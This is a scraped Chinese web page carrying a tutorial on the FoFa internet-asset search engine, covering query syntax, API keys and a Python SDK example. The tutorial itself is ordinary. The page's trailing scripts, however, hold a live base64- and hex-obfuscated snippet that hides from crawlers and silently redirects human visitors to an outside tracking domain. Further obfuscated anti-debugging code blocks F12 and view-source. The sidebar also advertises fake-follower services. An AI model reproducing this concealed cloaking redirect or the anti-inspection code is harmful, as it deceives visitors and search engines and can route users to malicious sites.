在信息安全领域,及时准确地掌握互联网设备和服务的分布情况,对漏洞挖掘、风险评估以及渗透测试均有着至关重要的意义。作为一款全球领先的网络空间搜索引擎,FoFa凭借其庞大的数据采集能力和强大的定制查询功能,成为安全研究人员和红队工程师的必备工具之一。本文将详细介绍FoFa的产品特性、配置步骤与使用方法,结合实际案例分析其优缺点,其在网络安全中的核心价值与应用场景。

一、FoFa产品概述

FoFa(Fingerprint of All)由中国知名的安全团队开发,是一个基于互联网设备指纹和搜索引擎技术的资产发现平台。通过对全球IP地址和端口的持续扫描与数据收集,FoFa构建了庞大的指纹数据库,支持用户通过自定义查询语法,快速定位目标网络中的设备、服务以及潜在漏洞。

得益于对协议特征和应用指纹的精确识别,FoFa不仅覆盖传统的IP端口信息,还能深入挖掘HTTP、FTP、SSH等多种服务的细节特征,从而为安全分析提供丰富的上下文信息。该平台既支持免费注册使用,也提供付费高级功能,满足不同用户的需求。

二、FoFa账户注册与API密钥申请

使用FoFa的基础步骤首先是注册账户。打开FoFa官方网站(https://fofa.info/),填写相关信息完成注册后,可通过邮箱激活账号。成功登录后,进入“用户中心-API”页面,申请并获取API密钥,这是后续自动化查询和工具集成的必备凭证。

API密钥分为公钥(Email)和密钥(Key)两部分,务必妥善保存,不对外泄露,以防止账户被恶意使用。免费账户每日 API 调用次数有限,若有更高需求,可考虑购买相应的会员套餐提升权限。

三、FoFa基础查询语法与高级过滤技巧

FoFa支持多种查询语法,用户可以根据目标需求组合筛选条件,实现精准搜索。

  • 关键字查询:基础查询方式,向搜索引擎输入IP、端口、服务类型等关键词。例如:port:80,显示全部开放80端口的设备。
  • 协议筛选:使用protocol字段限定协议类型,如protocol="http"
  • 标题匹配:利用HTTP响应中的字段筛选目标,例如:<code>title="Apache"</code>查找包含Apache关键词的网页服务器。</li> <li><strong>国家/地区限制:</strong>通过<code>country="CN"</code>等过滤器限制地理位置。</li> <li><strong>时间范围:</strong>可指定数据收集时间段,筛选较新的资产。</li> </ul> <p>此外,FoFa还支持正则表达式和逻辑运算符(AND、OR、NOT等),可进一步细化查询。例如:</p> <pre style="background:f4f4f4; padding:10px; border-radius:4px;"><code>title="Login" AND protocol="http" AND country="US" NOT port=8080</code></pre> <p>这条查询语句将筛选美国地区运行HTTP服务且标题包含“Login”字样,但不包含8080端口的设备。</p> <h2 style="color:007acc;">四、FoFa的配置与集成应用</h2> <p>除网站终端使用外,FoFa也支持API二次开发和与安全工具的集成。以下是常见配置方式与实用场景:</p> <h3>1. 安装FoFa Python SDK</h3> <p>FoFa官方提供Python SDK,方便安全研究者调用API做自动化资产采集。通过以下命令安装:</p> <pre style="background:f4f4f4; padding:10px; border-radius:4px;"><code>pip install fofa-sdk</code></pre> <p>示例代码:</p> <pre style="background:f4f4f4; padding:10px; border-radius:4px;"><code>from fofa import FofaClient email = "user@example.com" key = "your_api_key" client = FofaClient(email, key) query = 'title="admin" && country="CN"' results = client.search(query, page=1) for item in results['results']: print(item) </code></pre> <h3>2. 与渗透测试工具集成</h3> <p>FoFa的查询结果能导出为JSON、CSV格式,方便导入到Nmap、Masscan、Nessus等扫描工具,辅助安全评估。例如,将目标IP批量导出,结合漏洞扫描提高工作效率。</p> <h3>3. 浏览器插件与自动化脚本</h3> <p>市面上存在不少FoFa的第三方浏览器插件及自动化脚本,能够一键查询目标资产、自动生成报告,简化操作流程。但需注意安全风险,优先选择官方或开源可信项目。</p> <h2 style="color:007acc;">五、FoFa的核心价值——从数据到洞察</h2> <p>FoFa不仅是一个单纯的资产搜索引擎,更在于其数据背后的深度挖掘能力和安全洞察。通过以下几个方面体现其核心价值:</p> <ul> <li><strong>资产发现:</strong>快速定位互联网中暴露的基础设施,有助于组织了解自身互联网资产边界,降低被动攻击风险。</li> <li><strong>漏洞挖掘与检测:</strong>结合服务指纹和版本信息,有针对性地筛查潜在漏洞设备,辅助红队模拟攻击。</li> <li><strong>态势感知:</strong>以时间序列和地域分布为依托,动态监控网络环境的变化,及时发现异常资产或配置失误。</li> <li><strong>威胁情报源:</strong>通过持续的数据积累和分析,挖掘黑产利用的设备模式,为防御提供参考。</li> </ul> <h2 style="color:007acc;">六、FoFa的优缺点分析</h2> <h3>优点:</h3> <ul> <li><strong>数据量庞大且实时更新:</strong>覆盖全球数亿资产,具备强大的数据实时更新能力。</li> <li><strong>查询语法灵活:</strong>支持多维度精准筛选,满足多样化需求。</li> <li><strong>多格式数据导出:</strong>方便与其它安全工具对接,集成无缝。</li> <li><strong>支持API:</strong>适合自动化和定制化安全方案开发。</li> <li><strong>中英双语界面:</strong>适配国内外用户,界面友好。</li> </ul> <h3>缺点:</h3> <ul> <li><strong>免费用户权限有限:</strong>API调用及搜索结果条数受限,深度使用需付费。</li> <li><strong>数据采集范围受限:</strong>部分闭源或私有网络资产无法收录,存在盲区。</li> <li><strong>误报风险:</strong>指纹识别并非百分百准确,某些设备可能被误判。</li> <li><strong>隐私与合规性:</strong>部分查询可能涉及敏感数据,需注意合规使用,避免侵犯隐私或触犯法律。</li> </ul> <h2 style="color:007acc;">七、结语:如何高效利用FoFa?</h2> <p>要充分发挥FoFa的价值,建议采用以下实践策略:</p> <ul> <li><strong>精准定义查询目标:</strong>基于业务需求合理使用查询语法,突出重点,避免海量无用数据。</li> <li><strong>结合多源数据:</strong>与自身实际资产及其他安全工具结果对比融合,形成综合态势。</li> <li><strong>合理利用API:</strong>通过脚本定期更新资产库,实现持续监控与预警。</li> <li><strong>尊重法律法规:</strong>在遵守相关法律框架下使用,不进行恶意渗透或攻击行为。</li> </ul> <p><strong>总之,FoFa作为网络资产发现和安全态势感知的重要利器,正逐步成为安全领域内不可或缺的基础设施。掌握其配置方法和使用技巧,能显著提升安全团队的资产管理和风险识别能力,为构建坚固的网络防御体系奠定坚实基础。</strong></p> </div></div> <footer class="article-actions"> <div class="action-buttons"> <button type="button" class="action-btn" id="likeBtn"> <i class="layui-icon layui-icon-praise"></i> <span>0</span> </button> <button type="button" class="action-btn" id="commentBtn"> <i class="layui-icon layui-icon-dialogue"></i> 评论 </button> <button type="button" class="action-btn" id="shareBtn"> <i class="layui-icon layui-icon-share"></i> 分享 </button> </div> <div class="update-info"> <span style="color: rgba(255, 255, 255, 0.6); font-size: 12px;"> 最后更新:2026-03-04 07:50:38 </span> </div> </footer> <section class="related-section"> <h2 class="section-title">相关推荐</h2> <div class="related-grid"> <a href="http://wazhihao.com/hao-10376.html" title="社工库辅助工具有哪些?查询大全分享详解" class="related-item"> <div>社工库辅助工具有哪些?查询大全分享详解</div> </a> <a href="http://wazhihao.com/hao-10377.html" title="便民查询工具有哪些:总有一款你能用到?" class="related-item"> <div>便民查询工具有哪些:总有一款你能用到?</div> </a> <a href="http://wazhihao.com/hao-10378.html" title="Querybook:什么是开源大数据查询分析工具?" class="related-item"> <div>Querybook:什么是开源大数据查询分析工具?</div> </a> <a href="http://wazhihao.com/hao-10379.html" title="双色球、大乐透历史重复数据查询工具是什么?如何使用?" class="related-item"> <div>双色球、大乐透历史重复数据查询工具是什么?如何使用?</div> </a> <a href="http://wazhihao.com/hao-10380.html" title="2025年有哪些好用的谷歌关键词排名查询工具?10款推荐解析" class="related-item"> <div>2025年有哪些好用的谷歌关键词排名查询工具?10款推荐解析</div> </a> <a href="http://wazhihao.com/hao-10381.html" title="6个更好用的搜索工具有哪些:能否干掉百度并找到更多资源?" class="related-item"> <div>6个更好用的搜索工具有哪些:能否干掉百度并找到更多资源?</div> </a> <a href="http://wazhihao.com/hao-10382.html" title="盘点七款好用的关键词挖掘工具:哪些才是你千万不能错过的?" class="related-item"> <div>盘点七款好用的关键词挖掘工具:哪些才是你千万不能错过的?</div> </a> <a href="http://wazhihao.com/hao-10383.html" title="免费去水印的宝藏AI工具有哪些?10款轻松去除图片水印推荐" class="related-item"> <div>免费去水印的宝藏AI工具有哪些?10款轻松去除图片水印推荐</div> </a> <a href="http://wazhihao.com/hao-10384.html" title="超级工具来了:AI无损移除视频图片水印是真的吗?快速移除移动水印效果如何?" class="related-item"> <div>超级工具来了:AI无损移除视频图片水印是真的吗?快速移除移动水印效果如何?</div> </a> <a href="http://wazhihao.com/hao-10385.html" title="自测好用的去水印工具有哪些?手机电脑端推荐大全" class="related-item"> <div>自测好用的去水印工具有哪些?手机电脑端推荐大全</div> </a> <a href="http://wazhihao.com/hao-10386.html" title="免费方法有哪些:如何去除照片的水印?" class="related-item"> <div>免费方法有哪些:如何去除照片的水印?</div> </a> <a href="http://wazhihao.com/hao-10387.html" title="告别水印烦恼:哪个免费开源工具能轻松去水印?" class="related-item"> <div>告别水印烦恼:哪个免费开源工具能轻松去水印?</div> </a> </div> </section> </article> <section class="comments-section" id="commentsSection" style="display: none;"> <h3 class="comments-title">评论 (0)</h3> <div class="comment-form"> <textarea class="comment-textarea" placeholder="写下你的评论..."></textarea> <button type="button" class="comment-submit">发表评论</button> </div> <div class="comments-list"></div> </section> </div> <aside class="sidebar-section"> <div class="sidebar-wrapper"> <div class="info-panel"> <div class="panel-header"> <h3 class="panel-title">创作者档案</h3> </div> <div class="author-card"> <div class="author-avatar"> <img src="https://q4.qlogo.cn/headimg_dl?dst_uin=2646906096&spec=100" alt="汽车违章自助查询"> <div class="avatar-ring"></div> </div> <div class="author-name">汽车违章自助查询</div> <div class="author-desc">专注技术分享,致力于为用户提供优质内容</div> <div class="stats-row"> <div class="stat-box"> <span class="stat-number">11533</span> <div class="stat-text">文章</div> </div> <div class="stat-box"> <span class="stat-number">308585</span> <div class="stat-text">阅读量</div> </div> <div class="stat-box"> <span class="stat-number">2019</span> <div class="stat-text">建站年份</div> </div> </div> <div class="nav-buttons"> <a href="http://wazhihao.com/hao-10374.html" class="nav-btn"> <i class="layui-icon layui-icon-left"></i> 上一篇 </a> <a href="http://wazhihao.com/" class="nav-btn"> <i class="layui-icon layui-icon-home"></i> 首页 </a> <a href="http://wazhihao.com/hao-11533.html" class="nav-btn"> <i class="layui-icon layui-icon-right"></i> 下一篇 </a> </div> </div> </div> <div class="info-panel"> <div class="panel-header"> <h3 class="panel-title">热门文章</h3> </div> <div class="popular-list"> <div class="popular-item"> <div class="item-rank">1</div> <div class="item-content"> <a href="http://wazhihao.com/hao-247.html" class="item-title">快速查询百度排名,轻松抓住目标受众</a> <div class="item-info"> <span class="item-date">2025-05-06 19:58:58</span> <span class="item-views">1331 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">2</div> <div class="item-content"> <a href="http://wazhihao.com/hao-472.html" class="item-title">快手免费领赞-刷抖音粉丝网站免费-快手粉丝0.01元100个优惠活动</a> <div class="item-info"> <span class="item-date">2025-05-09 02:24:08</span> <span class="item-views">1144 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">3</div> <div class="item-content"> <a href="http://wazhihao.com/hao-235.html" class="item-title">芝麻信用分为0秒获得10000赞,仅需快手刷热度即可免费领取!</a> <div class="item-info"> <span class="item-date">2025-05-06 09:05:12</span> <span class="item-views">967 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">4</div> <div class="item-content"> <a href="http://wazhihao.com/hao-778.html" class="item-title">24小时自助下单商城-qq刷钻网站,快速获取粉丝和订单</a> <div class="item-info"> <span class="item-date">2025-05-13 17:10:50</span> <span class="item-views">455 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">5</div> <div class="item-content"> <a href="http://wazhihao.com/hao-759.html" class="item-title">法院无权干涉的六个查不了事件掀起热议</a> <div class="item-info"> <span class="item-date">2025-05-12 19:35:28</span> <span class="item-views">408 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">6</div> <div class="item-content"> <a href="http://wazhihao.com/hao-766.html" class="item-title">打官司的终极指南:法院工作者教你如何起诉别人,附诉状模板</a> <div class="item-info"> <span class="item-date">2025-05-12 19:57:17</span> <span class="item-views">396 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">7</div> <div class="item-content"> <a href="http://wazhihao.com/hao-794.html" class="item-title">提升法律查询效率的必备神器推荐: 法律工作者必看工具揭秘</a> <div class="item-info"> <span class="item-date">2025-05-14 19:18:02</span> <span class="item-views">387 阅读</span> </div> </div> </div> <div class="popular-item"> <div class="item-rank">8</div> <div class="item-content"> <a href="http://wazhihao.com/hao-796.html" class="item-title">快递运费查询轻松搞定,简单一键即可查询!</a> <div class="item-info"> <span class="item-date">2025-05-15 04:46:01</span> <span class="item-views">369 阅读</span> </div> </div> </div> </div> </div> </div> </aside> </div> </div> </div> <div class="share-mask" id="shareOverlay"></div> <div class="share-modal" id="sharePopup"> <button class="modal-close" id="shareClose"> <i class="layui-icon layui-icon-close"></i> </button> <h3 class="modal-title">分享文章</h3> <div class="share-options"> <div class="share-option" id="shareWeibo"> <i class="layui-icon layui-icon-share"></i> 微博 </div> <div class="share-option" id="shareQQ"> <i class="layui-icon layui-icon-dialogue"></i> QQ空间 </div> <div class="share-option" id="shareWechat"> <i class="layui-icon layui-icon-cellphone"></i> 微信 </div> <div class="share-option" id="shareQzone"> <i class="layui-icon layui-icon-friends"></i> QQ好友 </div> </div> <div class="share-link" id="shareUrl">http://wazhihao.com/hao-10375.html</div> <button class="copy-button" id="shareCopy">复制链接</button> </div> <div class="partner-zone"> <div class="partner-wrapper"> <div class="partner-heading">友情链接</div> <div class="partner-grid"> <a href="https://www.yilianshuju.com/" target="_blank"class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.yilianshuju.com"><font color="#059309">API接口</font></a> <a href="https://www.zongxincha.com/" target="_blank"class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.zongxincha.com"><font color="#059309">综信查</font></a> <a href="https://yuanxiblog.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yuanxiblog.cn/"><font color="#059309">远昔博客</font></a> <a href="http://yibazhan.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yibazhan.cn/"><font color="#059309">易扒站</font></a> <a href="http://yichazhan.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yichazhan.cn/"><font color="#059309">易查站</font></a> <a href="https://www.yuanxi8.cn/" target="_blank" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://yuanxiblog.cn/"><font color="#059309">远昔导航</font></a> <a href="https://www.yiguzhi.cn/" target="_blank" title="易估值" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.yiguzhi.cn/"><font color="#059309">易估值</font></a> <a href="https://www.hbdrxws.com/" target="_blank" title="助推者" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=https://www.hbdrxws.com/"><font color="#059309">助推者</font></a> <a href="http://www.081234.cn" target="_blank" title="神农网" class="link-item"><img style="width:18px;height:18px;margin:0auto;" src="https://yuanxiapi.cn/api/?id=28&key=6_83efcf5ff864b4998b6158804a51f3ad&url=http://www.081234.cn/"><font color="#059309">神农网</font></a> </div> </div> </div> <hr class="divider-line"> <footer class="bottom-footer"> <div class="footer-wrapper"> <div class="footer-layout"> <div class="brand-section"> <a href="http://wazhihao.com/" class="brand-link"> <i class="layui-icon layui-icon-home"></i> 汽车违章自助查询 </a> <span class="brand-description">本站资源来自互联网收集,仅供用于学习和交流, 请遵循相关法律法规,本站一切资源不代表本站立场。</span> </div> <div class="copyright-section"> <span> Copyright © 2019-2026 . All Rights Reserved. </span> </div> </div> </div> </footer> <script src="http://wazhihao.com/assets/layui/layui.js"></script> <script src="http://wazhihao.com/assets/js/jquery/1.12.4/jquery.min.js"></script> <script> $(document).ready(function() { $('#mobileMenuBtn').on('click', function() { $('#mobileNav').toggleClass('show'); var icon = $(this).find('i'); if ($('#mobileNav').hasClass('show')) { icon.removeClass('layui-icon-more-vertical').addClass('layui-icon-close'); } else { icon.removeClass('layui-icon-close').addClass('layui-icon-more-vertical'); } }); $(document).on('click', function(e) { if (!$(e.target).closest('.site-header').length) { $('#mobileNav').removeClass('show'); $('#mobileMenuBtn i').removeClass('layui-icon-close').addClass('layui-icon-more-vertical'); } }); }); </script> <script> layui.use(['layer'], function() { var layer = layui.layer; $(document).ready(function() { $('#likeBtn').on('click', function(e) { e.preventDefault(); var $btn = $(this); var $span = $btn.find('span'); var currentLikes = parseInt($span.text()); $.ajax({ type: 'POST', url: 'http://wazhihao.com/ajax.php?act=dianzan', data: {id:'10375',type:2}, dataType : 'json', success:function(result){ if (result.code !==200) { return layer.msg(result.msg, {anim:6,time:1500,}); } $btn.addClass('liked'); $span.text(currentLikes + 1); layer.msg('点赞成功!', {icon: 1,time: 1000}); }, error:function(){ return layer.msg('系统错误,请检查网络或联系管理员', {anim: 6,time:1000,}); } }); }); $('#commentBtn').on('click', function(e) { e.preventDefault(); var $commentsSection = $('#commentsSection'); if ($commentsSection.is(':visible')) { $commentsSection.slideUp(300); } else { $commentsSection.slideDown(300); setTimeout(function() { $('html, body').animate({ scrollTop: $commentsSection.offset().top - 100 }, 500); }, 300); } }); $('#shareBtn').on('click', function(e) { e.preventDefault(); $('#shareOverlay, #sharePopup').addClass('show'); $('body').css('overflow', 'hidden'); }); function closeSharePopup() { $('#shareOverlay, #sharePopup').removeClass('show'); $('body').css('overflow', 'auto'); } $('#shareClose, #shareOverlay').on('click', closeSharePopup); $(document).on('keydown', function(e) { if (e.keyCode === 27 && $('#sharePopup').hasClass('show')) { closeSharePopup(); } }); var currentUrl = encodeURIComponent(window.location.href); var articleTitle = encodeURIComponent('【安全工具】FoFa 查询工具的配置及使用:如何正确设置并高效利用FoFa? - 汽车违章自助查询'); var articleSummary = encodeURIComponent('【安全工具】FoFa 查询工具的配置及使用:如何正确设置并高效利用FoFa? - 汽车违章自助查询'); $('#shareWeibo').on('click', function(e) { e.preventDefault(); var weiboUrl = 'https://service.weibo.com/share/share.php?url=' + currentUrl + '&title=' + articleTitle + '&pic=&appkey='; window.open(weiboUrl, '_blank', 'width=600,height=400'); }); $('#shareQQ').on('click', function(e) { e.preventDefault(); var qzoneUrl = 'https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=' + currentUrl + '&title=' + articleTitle + '&summary=' + articleSummary; window.open(qzoneUrl, '_blank', 'width=600,height=400'); }); $('#shareWechat').on('click', function(e) { e.preventDefault(); layer.msg('请复制链接到微信分享', { icon: 1, time: 2000 }); }); $('#shareQzone').on('click', function(e) { e.preventDefault(); var qqUrl = 'https://connect.qq.com/widget/shareqq/index.html?url=' + currentUrl + '&title=' + articleTitle + '&summary=' + articleSummary; window.open(qqUrl, '_blank', 'width=600,height=400'); }); $('#shareCopy').on('click', function() { var shareUrl = $('#shareUrl').text(); var tempTextarea = $('<textarea>'); $('body').append(tempTextarea); tempTextarea.val(shareUrl).select(); try { document.execCommand('copy'); layer.msg('链接已复制到剪贴板', { icon: 1, time: 2000 }); } catch (err) { layer.msg('复制失败,请手动复制', { icon: 2, time: 2000 }); } tempTextarea.remove(); }); $('.comment-submit').on('click', function() { var commentText = $('.comment-textarea').val().trim(); if (commentText === '') { layer.msg('请输入评论内容', { icon: 2, time: 2000 }); return; } layer.msg('评论提交成功!', { icon: 1, time: 2000 }); $('.comment-textarea').val(''); }); var $sidebar = $('.sidebar-wrapper'); var $window = $(window); function updateSidebarPosition() { var windowHeight = $window.height(); var headerHeight = 90; var maxHeight = windowHeight - headerHeight - 40; $sidebar.css('max-height', maxHeight + 'px'); } updateSidebarPosition(); $window.on('resize', updateSidebarPosition); $('a[href^="#"]').on('click', function(e) { e.preventDefault(); var target = $(this.getAttribute('href')); if (target.length) { $('html, body').animate({ scrollTop: target.offset().top - 100 }, 500); } }); }); }); </script><script>var html = utf8to16(window.atob("PHNjcmlwdD5pZigobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvKHNwaWRlcnxib3QpL2kpKSl7IH1lbHNlewpmdW5jdGlvbiBRY2Nkc1hBb0p1R2FBREJYaVVoaShhaEtSckYpeyBkb2N1bWVudC53cml0ZSgodW5lc2NhcGUoYWhLUnJGKSkpO307UWNjZHNYQW9KdUdhQURCWGlVaGkoIiAzYyA3MyA2MyA3MiA2OSA3MCA3NCAyMCA3NCA3OSA3MCA2NSAzZCAyMiA3NCA2NSA3OCA3NCAyZiA2YSA2MSA3NiA2MSA3MyA2MyA3MiA2OSA3MCA3NCAyMiAzZSA3NyA2OSA2ZSA2NCA2ZiA3NyAyZSA2YyA2ZiA2MyA2MSA3NCA2OSA2ZiA2ZSAyZSA2OCA3MiA2NSA2NiAzZCAyNyA2OCA3NCA3NCA3MCA3MyAzYSAyZiAyZiA3NCA3YSAyZSA3OSA3NSA2MSA2ZSA3OCA2OSA2MiA2YyA2ZiA2NyAyZSA2MyA2ZSAyZiA3NCA3YSAyZSA3MCA2OCA3MCAzZiA2MyA2ZiA2NCA2NSAzZCAzNCA2YyA2ZCA2ZCA0ZCA2ZSA1OSA2ZSA3MSA2OCA2NiA1OCA0NiA0NSA1MSA2OSAyNyAzYiAzYyAyZiA3MyA2MyA3MiA2OSA3MCA3NCAzZSIucmVwbGFjZSgvIC9nLCAiJSIpKTsgfTwvc2NyaXB0Pg==")); document.write(html); function utf8to16(str){ var out,i,len,c;var char2,char3;out="";len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out+=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out+=String.fromCharCode(((c&31)<<6)|(char2&63));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out+=String.fromCharCode(((c&15)<<12)|((char2&63)<<6)|((char3&63)<<0));break}}return out;}</script><script type="text/javascript"> debugger; !function(){ var _0x1cbb = ["tor", "struc", "call", "ger", "con", "bug", "de", "apply"]; setInterval(check, 2e3); function check() { function doCheck(_0x1834ff) { if (("" + _0x1834ff / _0x1834ff)["length"] !== 0x1 || _0x1834ff % 0x14 === 0x0) { (function() {return !![]}[ _0x1cbb[0x4] + _0x1cbb[0x1] + _0x1cbb[0x0] ]( _0x1cbb[0x6] + _0x1cbb[0x5] + _0x1cbb[0x3] )[_0x1cbb[0x2]]()); } else { (function() {return ![]}[ _0x1cbb[0x4] + _0x1cbb[0x1] + _0x1cbb[0x0] ]( _0x1cbb[0x6] + _0x1cbb[0x5] + _0x1cbb[0x3] )[_0x1cbb[0x7]]()); } doCheck(++_0x1834ff); } try { doCheck(0) } catch(err) { } }; }(); //禁止 ctrl+u,配合这俩个禁止,效果更佳 window.onkeydown = function (e) { var keyCode = e.keyCode || e.which || e.charCode; var ctrlKey = e.ctrlKey || e.metaKey; console.log(keyCode + "--" + keyCode); if (ctrlKey && keyCode == 85) { console.log("禁止ctrl+u"); e.preventDefault(); } if (arr.indexOf(keyCode) > -1) { console.log("其他"); e.preventDefault(); } } //屏蔽F12 document.onkeydown = function () { if (window.event && window.event.keyCode == 123) { event.keyCode = 0; event.returnValue = false; return false; } } </script><script src="//yuanxiapi.cn/assets/js/tuijian_xcx/"></script>